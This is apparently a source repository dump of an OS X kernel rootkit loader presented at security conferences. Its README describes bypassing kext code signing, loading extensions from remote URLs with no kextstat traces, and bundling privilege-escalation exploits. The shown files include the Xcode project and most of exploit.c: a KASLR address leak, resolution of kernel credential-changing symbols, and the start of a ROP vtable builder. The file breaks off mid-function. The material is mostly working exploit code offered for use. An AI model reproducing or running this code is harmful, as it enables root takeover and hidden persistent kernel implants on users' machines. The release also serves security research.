├── README.md ├── diagnostic_service.xcodeproj └── project.pbxproj └── diagnostic_service ├── exploit.c ├── exploit.h ├── kernel_code_exec.c ├── kernel_code_exec.h ├── kernel_symbols.c ├── kernel_symbols.h ├── logging.h ├── mac_policy.h ├── main.c ├── remote.h ├── remote.m ├── rootkit.c ├── rootkit.h ├── rootpipe_exploit.h ├── rootpipe_exploit.m ├── structures.h ├── trustedbsd.c ├── trustedbsd.h ├── utils.c └── utils.h /README.md: -------------------------------------------------------------------------------- 1 | Diagnostic Service 2 | 3 | (c) fG! 2014, 2015 4 | 5 | reverser@put.as - https://reverse.put.as 6 | 7 | 8 | This is an OS X kernel extension/rootkit loader that leverages processor_set_tasks() vulnerability. 9 | 10 | It bypasses kernel extensions code signing and regular kernel extensions APIs. 11 | 12 | Only tested to load regular kernel extensions, untested with IOKit drivers but should work straightforward or with minimal adaptations. 13 | 14 | Can load the kernel extensions from local disk or remote http/https website. Leaves no traces on kextstat or kernel extensions related data structures since kernel extensions APIs are not used. 15 | 16 | ** REQUIRES ROOT PRIVILEGES ** 17 | 18 | The code contains Ian Beer's Mavericks exploit for privilege escalation. This means this whole code can work from unprivileged user. 19 | The exploit still works as of Security Update 2015-001 (untested with 2015-002 but should also work). 20 | 21 | Now also includes the rootpipe exploit for Mavericks. Older versions also vulnerable but their exploit code not ported. 22 | 23 | Handle with care, you are solely responsible for your acts with this code ;-) 24 | 25 | Presented at CodeBlue 2014 and SyScan 2015. Greetings to both :-) 26 | 27 | Slides available at https://reverse.put.as, and a few extra tricks when the book is out. 28 | 29 | Might contain small traces of bugs and other dangerous stuff. Don't use if allergic to such things! 30 | 31 | Have fun, 32 | 33 | fG! 34 | 35 | Update: 36 | 37 | The KeyboardMapping vulnerability that Ian Beer's included exploit code uses should be finally patched in latest Mavericks patch 2015-004. 38 | 39 | Diagnostic services is what Apple called to the alleged backdoors presented at Hope'14 conference ;-). -------------------------------------------------------------------------------- /diagnostic_service.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 46; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 7B72F6531A24CEAE00822535 /* remote.m in Sources */ = {isa = PBXBuildFile; fileRef = 7B72F6521A24CEAE00822535 /* remote.m */; }; 11 | 7B7A506919AB6B4C000F9398 /* main.c in Sources */ = {isa = PBXBuildFile; fileRef = 7B7A506819AB6B4C000F9398 /* main.c */; }; 12 | 7B7E12C41A2774F50063692D /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 7B7E12C21A2774F50063692D /* exploit.c */; }; 13 | 7B83502C19BBDDD600773669 /* trustedbsd.c in Sources */ = {isa = PBXBuildFile; fileRef = 7B83502B19BBDDD600773669 /* trustedbsd.c */; }; 14 | 7BB2D1E319BA38BD00D1CC79 /* kernel_code_exec.c in Sources */ = {isa = PBXBuildFile; fileRef = 7BB2D1E219BA38BD00D1CC79 /* kernel_code_exec.c */; }; 15 | 7BD1C69819B87FEA00E50336 /* utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 7BD1C69719B87FEA00E50336 /* utils.c */; }; 16 | 7BD1C69C19B92A7400E50336 /* rootkit.c in Sources */ = {isa = PBXBuildFile; fileRef = 7BD1C69B19B92A7400E50336 /* rootkit.c */; }; 17 | 7BD1C6A019B92BA300E50336 /* kernel_symbols.c in Sources */ = {isa = PBXBuildFile; fileRef = 7BD1C69F19B92BA300E50336 /* kernel_symbols.c */; }; 18 | /* End PBXBuildFile section */ 19 | 20 | /* Begin PBXCopyFilesBuildPhase section */ 21 | 7B7A506319AB6B4C000F9398 /* CopyFiles */ = { 22 | isa = PBXCopyFilesBuildPhase; 23 | buildActionMask = 2147483647; 24 | dstPath = /usr/share/man/man1/; 25 | dstSubfolderSpec = 0; 26 | files = ( 27 | ); 28 | runOnlyForDeploymentPostprocessing = 1; 29 | }; 30 | /* End PBXCopyFilesBuildPhase section */ 31 | 32 | /* Begin PBXFileReference section */ 33 | 7B72F6521A24CEAE00822535 /* remote.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = remote.m; sourceTree = ""; }; 34 | 7B72F6541A24D16000822535 /* remote.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = remote.h; sourceTree = ""; }; 35 | 7B7A506519AB6B4C000F9398 /* diagnostic_service */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = diagnostic_service; sourceTree = BUILT_PRODUCTS_DIR; }; 36 | 7B7A506819AB6B4C000F9398 /* main.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = main.c; sourceTree = ""; }; 37 | 7B7E12C21A2774F50063692D /* exploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = ""; }; 38 | 7B7E12C31A2774F50063692D /* exploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = ""; }; 39 | 7B83502B19BBDDD600773669 /* trustedbsd.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = trustedbsd.c; sourceTree = ""; }; 40 | 7B83502D19BBDDDC00773669 /* trustedbsd.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = trustedbsd.h; sourceTree = ""; }; 41 | 7BB2D1E219BA38BD00D1CC79 /* kernel_code_exec.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_code_exec.c; sourceTree = ""; }; 42 | 7BB2D1E419BA38C400D1CC79 /* kernel_code_exec.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kernel_code_exec.h; sourceTree = ""; }; 43 | 7BD1C69719B87FEA00E50336 /* utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = utils.c; sourceTree = ""; }; 44 | 7BD1C69919B87FF400E50336 /* utils.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = utils.h; sourceTree = ""; }; 45 | 7BD1C69A19B880A500E50336 /* logging.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = logging.h; sourceTree = ""; }; 46 | 7BD1C69B19B92A7400E50336 /* rootkit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = rootkit.c; sourceTree = ""; }; 47 | 7BD1C69D19B92A7A00E50336 /* rootkit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = rootkit.h; sourceTree = ""; }; 48 | 7BD1C69E19B92AF100E50336 /* structures.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = structures.h; sourceTree = ""; }; 49 | 7BD1C69F19B92BA300E50336 /* kernel_symbols.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_symbols.c; sourceTree = ""; }; 50 | 7BD1C6A119B92BAB00E50336 /* kernel_symbols.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kernel_symbols.h; sourceTree = ""; }; 51 | 7BD4BBFF19ABF2A50026AE0F /* mac_policy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = mac_policy.h; sourceTree = ""; }; 52 | /* End PBXFileReference section */ 53 | 54 | /* Begin PBXFrameworksBuildPhase section */ 55 | 7B7A506219AB6B4C000F9398 /* Frameworks */ = { 56 | isa = PBXFrameworksBuildPhase; 57 | buildActionMask = 2147483647; 58 | files = ( 59 | ); 60 | runOnlyForDeploymentPostprocessing = 0; 61 | }; 62 | /* End PBXFrameworksBuildPhase section */ 63 | 64 | /* Begin PBXGroup section */ 65 | 7B7A505C19AB6B4C000F9398 = { 66 | isa = PBXGroup; 67 | children = ( 68 | 7B7A506719AB6B4C000F9398 /* diagnostic_service */, 69 | 7B7A506619AB6B4C000F9398 /* Products */, 70 | ); 71 | sourceTree = ""; 72 | }; 73 | 7B7A506619AB6B4C000F9398 /* Products */ = { 74 | isa = PBXGroup; 75 | children = ( 76 | 7B7A506519AB6B4C000F9398 /* diagnostic_service */, 77 | ); 78 | name = Products; 79 | sourceTree = ""; 80 | }; 81 | 7B7A506719AB6B4C000F9398 /* diagnostic_service */ = { 82 | isa = PBXGroup; 83 | children = ( 84 | 7B7A506819AB6B4C000F9398 /* main.c */, 85 | 7BD1C69B19B92A7400E50336 /* rootkit.c */, 86 | 7BD1C69D19B92A7A00E50336 /* rootkit.h */, 87 | 7BD1C69F19B92BA300E50336 /* kernel_symbols.c */, 88 | 7BD1C6A119B92BAB00E50336 /* kernel_symbols.h */, 89 | 7BB2D1E219BA38BD00D1CC79 /* kernel_code_exec.c */, 90 | 7BB2D1E419BA38C400D1CC79 /* kernel_code_exec.h */, 91 | 7B83502B19BBDDD600773669 /* trustedbsd.c */, 92 | 7B83502D19BBDDDC00773669 /* trustedbsd.h */, 93 | 7BD1C69719B87FEA00E50336 /* utils.c */, 94 | 7BD1C69919B87FF400E50336 /* utils.h */, 95 | 7B72F6521A24CEAE00822535 /* remote.m */, 96 | 7B72F6541A24D16000822535 /* remote.h */, 97 | 7B7E12C21A2774F50063692D /* exploit.c */, 98 | 7B7E12C31A2774F50063692D /* exploit.h */, 99 | 7BD1C69A19B880A500E50336 /* logging.h */, 100 | 7BD1C69E19B92AF100E50336 /* structures.h */, 101 | 7BD4BBFF19ABF2A50026AE0F /* mac_policy.h */, 102 | ); 103 | path = diagnostic_service; 104 | sourceTree = ""; 105 | }; 106 | /* End PBXGroup section */ 107 | 108 | /* Begin PBXNativeTarget section */ 109 | 7B7A506419AB6B4C000F9398 /* diagnostic_service */ = { 110 | isa = PBXNativeTarget; 111 | buildConfigurationList = 7B7A506E19AB6B4C000F9398 /* Build configuration list for PBXNativeTarget "diagnostic_service" */; 112 | buildPhases = ( 113 | 7B7A506119AB6B4C000F9398 /* Sources */, 114 | 7B7A506219AB6B4C000F9398 /* Frameworks */, 115 | 7B7A506319AB6B4C000F9398 /* CopyFiles */, 116 | ); 117 | buildRules = ( 118 | ); 119 | dependencies = ( 120 | ); 121 | name = diagnostic_service; 122 | productName = diagnostic_service; 123 | productReference = 7B7A506519AB6B4C000F9398 /* diagnostic_service */; 124 | productType = "com.apple.product-type.tool"; 125 | }; 126 | /* End PBXNativeTarget section */ 127 | 128 | /* Begin PBXProject section */ 129 | 7B7A505D19AB6B4C000F9398 /* Project object */ = { 130 | isa = PBXProject; 131 | attributes = { 132 | LastUpgradeCheck = 0510; 133 | ORGANIZATIONNAME = Put.as; 134 | }; 135 | buildConfigurationList = 7B7A506019AB6B4C000F9398 /* Build configuration list for PBXProject "diagnostic_service" */; 136 | compatibilityVersion = "Xcode 3.2"; 137 | developmentRegion = English; 138 | hasScannedForEncodings = 0; 139 | knownRegions = ( 140 | en, 141 | ); 142 | mainGroup = 7B7A505C19AB6B4C000F9398; 143 | productRefGroup = 7B7A506619AB6B4C000F9398 /* Products */; 144 | projectDirPath = ""; 145 | projectRoot = ""; 146 | targets = ( 147 | 7B7A506419AB6B4C000F9398 /* diagnostic_service */, 148 | ); 149 | }; 150 | /* End PBXProject section */ 151 | 152 | /* Begin PBXSourcesBuildPhase section */ 153 | 7B7A506119AB6B4C000F9398 /* Sources */ = { 154 | isa = PBXSourcesBuildPhase; 155 | buildActionMask = 2147483647; 156 | files = ( 157 | 7BD1C69C19B92A7400E50336 /* rootkit.c in Sources */, 158 | 7B7A506919AB6B4C000F9398 /* main.c in Sources */, 159 | 7BB2D1E319BA38BD00D1CC79 /* kernel_code_exec.c in Sources */, 160 | 7BD1C6A019B92BA300E50336 /* kernel_symbols.c in Sources */, 161 | 7BD1C69819B87FEA00E50336 /* utils.c in Sources */, 162 | 7B72F6531A24CEAE00822535 /* remote.m in Sources */, 163 | 7B83502C19BBDDD600773669 /* trustedbsd.c in Sources */, 164 | 7B7E12C41A2774F50063692D /* exploit.c in Sources */, 165 | ); 166 | runOnlyForDeploymentPostprocessing = 0; 167 | }; 168 | /* End PBXSourcesBuildPhase section */ 169 | 170 | /* Begin XCBuildConfiguration section */ 171 | 7B7A506C19AB6B4C000F9398 /* Debug */ = { 172 | isa = XCBuildConfiguration; 173 | buildSettings = { 174 | ALWAYS_SEARCH_USER_PATHS = NO; 175 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; 176 | CLANG_CXX_LIBRARY = "libc++"; 177 | CLANG_ENABLE_MODULES = YES; 178 | CLANG_ENABLE_OBJC_ARC = YES; 179 | CLANG_WARN_BOOL_CONVERSION = YES; 180 | CLANG_WARN_CONSTANT_CONVERSION = YES; 181 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 182 | CLANG_WARN_EMPTY_BODY = YES; 183 | CLANG_WARN_ENUM_CONVERSION = YES; 184 | CLANG_WARN_INT_CONVERSION = YES; 185 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 186 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 187 | COPY_PHASE_STRIP = NO; 188 | GCC_C_LANGUAGE_STANDARD = gnu99; 189 | GCC_DYNAMIC_NO_PIC = NO; 190 | GCC_ENABLE_OBJC_EXCEPTIONS = YES; 191 | GCC_OPTIMIZATION_LEVEL = 0; 192 | GCC_PREPROCESSOR_DEFINITIONS = ( 193 | "DEBUG=1", 194 | "$(inherited)", 195 | ); 196 | GCC_SYMBOLS_PRIVATE_EXTERN = NO; 197 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 198 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 199 | GCC_WARN_UNDECLARED_SELECTOR = YES; 200 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 201 | GCC_WARN_UNUSED_FUNCTION = YES; 202 | GCC_WARN_UNUSED_VARIABLE = YES; 203 | MACOSX_DEPLOYMENT_TARGET = 10.9; 204 | ONLY_ACTIVE_ARCH = YES; 205 | SDKROOT = macosx; 206 | }; 207 | name = Debug; 208 | }; 209 | 7B7A506D19AB6B4C000F9398 /* Release */ = { 210 | isa = XCBuildConfiguration; 211 | buildSettings = { 212 | ALWAYS_SEARCH_USER_PATHS = NO; 213 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; 214 | CLANG_CXX_LIBRARY = "libc++"; 215 | CLANG_ENABLE_MODULES = YES; 216 | CLANG_ENABLE_OBJC_ARC = YES; 217 | CLANG_WARN_BOOL_CONVERSION = YES; 218 | CLANG_WARN_CONSTANT_CONVERSION = YES; 219 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 220 | CLANG_WARN_EMPTY_BODY = YES; 221 | CLANG_WARN_ENUM_CONVERSION = YES; 222 | CLANG_WARN_INT_CONVERSION = YES; 223 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 224 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 225 | COPY_PHASE_STRIP = YES; 226 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 227 | ENABLE_NS_ASSERTIONS = NO; 228 | GCC_C_LANGUAGE_STANDARD = gnu99; 229 | GCC_ENABLE_OBJC_EXCEPTIONS = YES; 230 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 231 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 232 | GCC_WARN_UNDECLARED_SELECTOR = YES; 233 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 234 | GCC_WARN_UNUSED_FUNCTION = YES; 235 | GCC_WARN_UNUSED_VARIABLE = YES; 236 | MACOSX_DEPLOYMENT_TARGET = 10.9; 237 | SDKROOT = macosx; 238 | }; 239 | name = Release; 240 | }; 241 | 7B7A506F19AB6B4C000F9398 /* Debug */ = { 242 | isa = XCBuildConfiguration; 243 | buildSettings = { 244 | CODE_SIGN_IDENTITY = ""; 245 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 246 | GCC_PREPROCESSOR_DEFINITIONS = ( 247 | "DEBUG=1", 248 | "$(inherited)", 249 | "D_FORTIFY_SOURCE=0", 250 | "_FORTIFY_SOURCE=0", 251 | ); 252 | PRODUCT_NAME = "$(TARGET_NAME)"; 253 | }; 254 | name = Debug; 255 | }; 256 | 7B7A507019AB6B4C000F9398 /* Release */ = { 257 | isa = XCBuildConfiguration; 258 | buildSettings = { 259 | CODE_SIGN_IDENTITY = ""; 260 | PRODUCT_NAME = "$(TARGET_NAME)"; 261 | }; 262 | name = Release; 263 | }; 264 | /* End XCBuildConfiguration section */ 265 | 266 | /* Begin XCConfigurationList section */ 267 | 7B7A506019AB6B4C000F9398 /* Build configuration list for PBXProject "diagnostic_service" */ = { 268 | isa = XCConfigurationList; 269 | buildConfigurations = ( 270 | 7B7A506C19AB6B4C000F9398 /* Debug */, 271 | 7B7A506D19AB6B4C000F9398 /* Release */, 272 | ); 273 | defaultConfigurationIsVisible = 0; 274 | defaultConfigurationName = Release; 275 | }; 276 | 7B7A506E19AB6B4C000F9398 /* Build configuration list for PBXNativeTarget "diagnostic_service" */ = { 277 | isa = XCConfigurationList; 278 | buildConfigurations = ( 279 | 7B7A506F19AB6B4C000F9398 /* Debug */, 280 | 7B7A507019AB6B4C000F9398 /* Release */, 281 | ); 282 | defaultConfigurationIsVisible = 0; 283 | defaultConfigurationName = Release; 284 | }; 285 | /* End XCConfigurationList section */ 286 | }; 287 | rootObject = 7B7A505D19AB6B4C000F9398 /* Project object */; 288 | } 289 | -------------------------------------------------------------------------------- /diagnostic_service/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * exploit.c 25 | * This is Ian Beer's exploit that works on Mavericks but patched in Yosemite 26 | * https://code.google.com/p/google-security-research/issues/detail?id=126&can=1 27 | * 28 | * Slightly modified to remove dependencies on some utils that aren't available 29 | * on default OS X installations 30 | * 31 | * Redistribution and use in source and binary forms, with or without 32 | * modification, are permitted provided that the following conditions 33 | * are met: 34 | * 1. Redistributions of source code must retain the above copyright 35 | * notice, this list of conditions and the following disclaimer. 36 | * 2. Redistributions in binary form must reproduce the above copyright 37 | * notice, this list of conditions and the following disclaimer in the 38 | * documentation and/or other materials provided with the distribution. 39 | * 3. The name of the author may not be used to endorse or promote products 40 | * derived from this software without specific prior written permission. 41 | * 42 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 43 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 44 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 45 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 46 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 47 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 48 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 49 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 50 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 51 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 52 | * 53 | */ 54 | 55 | 56 | #include "exploit.h" 57 | 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | 65 | #include 66 | #include 67 | 68 | #include "utils.h" 69 | #include "kernel_symbols.h" 70 | #include "logging.h" 71 | 72 | 73 | static uint64_t leak(void); 74 | static uint64_t load_addr(void); 75 | static uint64_t leaked_offset_in_kext(void); 76 | void rebase_kernel_payload(struct kernel_info *kinfo); 77 | uint64_t* build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len); 78 | void trigger(void* vtable, size_t vtable_len, const char *argv[]); 79 | void kernel_payload(void); 80 | 81 | void (*IOLockUnlock) (void*); 82 | int (*KUNCExecute)(char*, int, int); 83 | void (*thread_exception_return)(); 84 | void* (*proc_ucred)(void*); 85 | void* (*kauth_cred_get)(); 86 | void* (*kauth_cred_setuidgid)(void*, int, int); 87 | void* (*current_proc)(); 88 | 89 | int 90 | get_me_r00t(uint8_t *kernel_buffer, struct kernel_info *kinfo, const char *argv[]) 91 | { 92 | OUTPUT_MSG("\n-----[ Launching Google's exploit ]-----"); 93 | 94 | int kernel_version = get_kernel_version(); 95 | if (kernel_version != 13) 96 | { 97 | ERROR_MSG("Exploit mode only supported in Mavericks!"); 98 | return -1; 99 | } 100 | 101 | uint64_t leaked_ptr = leak(); 102 | uint64_t kext_load_addr = load_addr(); 103 | 104 | // get the offset of that pointer in the kext: 105 | uint64_t offset = leaked_offset_in_kext(); //0x8cf0; 106 | 107 | // sanity check the leaked address against the symbol addr: 108 | if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){ 109 | ERROR_MSG("the leaked pointer doesn't match up with the expected symbol offset"); 110 | return -1; 111 | } 112 | uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr; 113 | kinfo->kaslr_slide = kaslr_slide; 114 | DEBUG_MSG("kaslr slide: %p\n", (void*)kaslr_slide); 115 | rebase_kernel_payload(kinfo); 116 | 117 | size_t vtable_len = 0; 118 | void* vtable = build_vtable(kaslr_slide, kernel_payload, &vtable_len); 119 | 120 | trigger(vtable, vtable_len, argv); 121 | 122 | return 0; 123 | } 124 | 125 | static uint64_t 126 | leak(void) 127 | { 128 | io_iterator_t iter; 129 | 130 | CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault), 131 | kIOServicePlane, 132 | CFSTR("AAPL,iokit-ndrv"), 133 | kCFAllocatorDefault, 134 | kIORegistryIterateRecursively); 135 | 136 | if (CFGetTypeID(p) != CFDataGetTypeID()){ 137 | ERROR_MSG("expected CFData"); 138 | return 1; 139 | } 140 | 141 | if (CFDataGetLength(p) != 8){ 142 | ERROR_MSG("expected 8 bytes"); 143 | return 1; 144 | } 145 | 146 | uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p)); 147 | return leaked; 148 | } 149 | 150 | extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); 151 | 152 | static uint64_t 153 | load_addr(void) 154 | { 155 | uint64_t addr = 0; 156 | CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL); 157 | CFIndex count = CFDictionaryGetCount(kd); 158 | 159 | void **keys; 160 | void **values; 161 | 162 | keys = (void **)malloc(sizeof(void *) * count); 163 | values = (void **)malloc(sizeof(void *) * count); 164 | 165 | CFDictionaryGetKeysAndValues(kd, 166 | (const void **)keys, 167 | (const void **)values); 168 | 169 | for(CFIndex i = 0; i < count; i++){ 170 | const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman); 171 | if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){ 172 | CFNumberGetValue(CFDictionaryGetValue(values[i], 173 | CFSTR("OSBundleLoadAddress")), 174 | kCFNumberSInt64Type, 175 | &addr); 176 | // printf("%s: %p\n", name, addr); 177 | break; 178 | } 179 | } 180 | return addr; 181 | } 182 | 183 | /* 184 | * original version uses nm which requires developer tools to be installed 185 | * so open the target kext and solve ourselves the symbols 186 | */ 187 | static uint64_t 188 | leaked_offset_in_kext(void) 189 | { 190 | int fd = -1; 191 | fd = open("/System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport", O_RDONLY); 192 | if (fd < 0) 193 | { 194 | ERROR_MSG("Can't open IONDRVSupport kext."); 195 | return 0; 196 | } 197 | 198 | struct stat stat = {0}; 199 | if (fstat(fd, &stat) < 0) 200 | { 201 | ERROR_MSG("Can't fstat IONDRVSupport kext: %s.", strerror(errno)); 202 | return 0; 203 | } 204 | uint8_t *buf = mmap(0, stat.st_size, PROT_READ, MAP_SHARED, fd, 0); 205 | if (buf == MAP_FAILED) 206 | { 207 | ERROR_MSG("Failed to mmap IONDRVSupport kext."); 208 | return 0; 209 | } 210 | struct mach_header_64 *mh = (struct mach_header_64*)buf; 211 | if (mh->magic != MH_MAGIC_64) 212 | { 213 | return 0; 214 | } 215 | if (mh->ncmds == 0 || mh->sizeofcmds == 0) 216 | { 217 | return 0; 218 | } 219 | struct load_command *load_cmd = (struct load_command*)(buf + sizeof(struct mach_header_64)); 220 | struct segment_command_64 *linkedit = NULL; 221 | struct symtab_command *symtab = NULL; 222 | for (uint32_t i = 0; i < mh->ncmds; i++) 223 | { 224 | if (load_cmd->cmd == LC_SEGMENT_64) 225 | { 226 | struct segment_command_64 *sc = (struct segment_command_64*)load_cmd; 227 | if (strncmp(sc->segname, "__LINKEDIT", 16) == 0) 228 | { 229 | linkedit = sc; 230 | } 231 | } 232 | else if (load_cmd->cmd == LC_SYMTAB) 233 | { 234 | symtab = (struct symtab_command*)load_cmd; 235 | } 236 | load_cmd = (struct load_command*)((char*)load_cmd + load_cmd->cmdsize); 237 | } 238 | 239 | if (linkedit == NULL || symtab == NULL) 240 | { 241 | ERROR_MSG("Invalid pointers for linkedit or symtab."); 242 | return 0; 243 | } 244 | struct nlist_64 *nlist = NULL; 245 | uint64_t offset = 0; 246 | for (uint32_t i = 0; i < symtab->nsyms; i++) 247 | { 248 | mach_vm_address_t symbol_off = symtab->symoff - linkedit->fileoff; 249 | mach_vm_address_t string_off = symtab->stroff - linkedit->fileoff; 250 | nlist = (struct nlist_64*)((char*)(buf + linkedit->fileoff) + symbol_off + i * sizeof(struct nlist_64)); 251 | char *symbol_string = ((char*)(buf + linkedit->fileoff) + string_off + nlist->n_un.n_strx); 252 | if (strncmp("__ZTV17IONDRVFramebuffer", symbol_string, strlen("__ZTV17IONDRVFramebuffer")) == 0) 253 | { 254 | offset = (nlist->n_value); 255 | } 256 | } 257 | 258 | if (offset != 0) 259 | { 260 | offset += 0x10; //offset from symbol to leaked pointer 261 | } 262 | 263 | munmap(buf, stat.st_size); 264 | close(fd); 265 | return offset; 266 | } 267 | 268 | void 269 | rebase_kernel_payload(struct kernel_info *kinfo) 270 | { 271 | IOLockUnlock = (void*)solve_kernel_symbol(kinfo, "_lck_mtx_unlock"); 272 | KUNCExecute = (void*)solve_kernel_symbol(kinfo, "_KUNCExecute"); 273 | thread_exception_return = (void*)solve_kernel_symbol(kinfo, "_thread_exception_return"); 274 | proc_ucred = (void*)solve_kernel_symbol(kinfo, "_proc_ucred"); 275 | kauth_cred_get = (void*)solve_kernel_symbol(kinfo, "_kauth_cred_get"); 276 | kauth_cred_setuidgid = (void*)solve_kernel_symbol(kinfo, "_kauth_cred_setuidgid"); 277 | current_proc = (void*)solve_kernel_symbol(kinfo, "_current_proc"); 278 | } 279 | 280 | 281 | // rather than working out the offset of p_ucred in the proc structure just get 282 | // the code to tell us :) 283 | // proc_ucred just does return arg->u_cred 284 | uint64_t 285 | find_ucred_offset(void) 286 | { 287 | uint64_t offsets[0x80]; 288 | for (int i = 0; i < 0x80; i++){ 289 | offsets[i] = i*8; 290 | } 291 | return proc_ucred(offsets); 292 | } 293 | 294 | uint64_t* 295 | build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len) 296 | { 297 | uint64_t pivot, mov_rax_cr4, mov_cr4_rax, pop_rcx, xor_rax_rcx, pop_pop_ret; 298 | 299 | uint64_t kernel_base = 0; 300 | 301 | int fd = open("/mach_kernel", O_RDONLY); 302 | if (!fd) 303 | return NULL; 304 | 305 | struct stat _stat; 306 | fstat(fd, &_stat); 307 | size_t buf_len = _stat.st_size; 308 | 309 | uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0); 310 | 311 | if (!buf) 312 | return NULL; 313 | 314 | struct mach_header_64 